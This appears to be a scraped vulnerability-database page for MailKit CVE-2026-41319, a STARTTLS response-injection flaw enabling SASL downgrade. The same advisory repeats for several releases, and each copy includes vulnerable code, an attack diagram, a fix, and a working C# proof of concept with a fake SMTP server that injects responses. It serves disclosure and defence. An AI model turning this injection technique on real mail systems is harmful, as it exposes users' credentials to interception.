        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Sep 29, 2024

4.7.1.1 patch

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Jul 15, 2024

4.7.1 patch

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Jul 12, 2024

4.7.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0

